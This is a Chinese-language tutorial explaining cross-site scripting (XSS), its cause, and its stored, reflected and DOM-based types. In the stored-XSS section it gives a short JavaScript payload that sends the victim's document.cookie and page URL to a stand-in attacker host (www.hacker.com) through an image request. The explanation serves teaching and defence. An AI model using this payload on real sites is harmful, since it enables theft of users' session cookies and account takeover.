漏洞-跨站脚本攻击
1.1 简介
XSS
:Cross Site Scripting,为不和层叠样式表(Cascading Style Sheets, CSS) 的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中 Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。在一开始的时候,这种攻击的演示案例是跨域的,所以叫"跨站脚本"。
攻击原理:
XSS的原理是WEB应用程序混淆了用户提交的数据和JS脚本的代码边界,导致 浏览器把用户的输入当成了JS代码来执行。
1.2 XSS攻击
- 存储型XSS
- 反射型XSS
- DOM型XSS
1.2.1存储型XSS
存储型XSS,也就是持久型XSS。攻击者上传的包含恶意JS脚本的信息被 Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含 了该恶意JS脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这 种攻击类型一般常见在博客、论坛等网站中
存储型是最危险的一种跨站脚本,比反射性XSS和Dom型XSS都更有隐蔽性。
因为它不需要用户手动触发,任何允许用户存储数据的web程序都可能存 在存储型XSS漏洞。
若某个页面遭受存储型XSS攻击,所有访问该页面的用户会被XSS攻击。
攻击步骤:
- 攻击者把恶意代码提交到目标网站的数据库中
- 用户打开目标网站,网站服务端把恶意代码从数据库中取出,拼接在HTML上返回给用户
- 用户浏览器接收到响应解析执行,混在其中的恶意代码也被执行
- 恶意代码窃取用户敏感数据发送给攻击者,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
存储型 XSS(又被称为持久性XSS)攻击常见于带有用户保存数据的网站功能,如 论坛发帖、商品评论、用户私信、留言等功能。
简单攻击:
获取cookie信息:
-
黑客窃取cookie:
用户窃取cookie,具体实现就是将用户的cookie值发送到黑客工具箱,那 么就需要将窃取用户cookie的js植入到系统中。考虑到窃取用户的js脚本过长不 宜直接编写脚本植入,可以通过外部脚本的方式实现
-
绕过浏览器同源策略:
图片可以加载外部的数据源
(function () {
(new Image()).src = 'http://www.hacker.com/h?c=' +escape("url=" + document.location.href) +
escape('&cookie=' + document.cookie);})();
1.2.2 反射型XSS
反射型XSS,又称非持久型XSS,恶意代码并没有保存在目标网站,而是通 过引诱用户点击一个恶意链接来实施攻击。这类恶意链接有哪些特征呢?
主要有:
- 恶意脚本附加到 url 中,只有点击此链接才会引起攻击
- 不具备持久性,即只要不通过这个特定 url 访问,就不会有问题
- xss漏洞一般发生于与用户交互的地方
脚本入侵
获取cookie
构造DOM
1.2.3 DOM型XSS
DOM(Document Object Model),DOM型XSS其实是一种特殊类型的反 射型XSS(不存储),它是基于DOM文档对象模型的一种漏洞,而且不需要与 服务器进行交互(不处理)。
客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中 的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用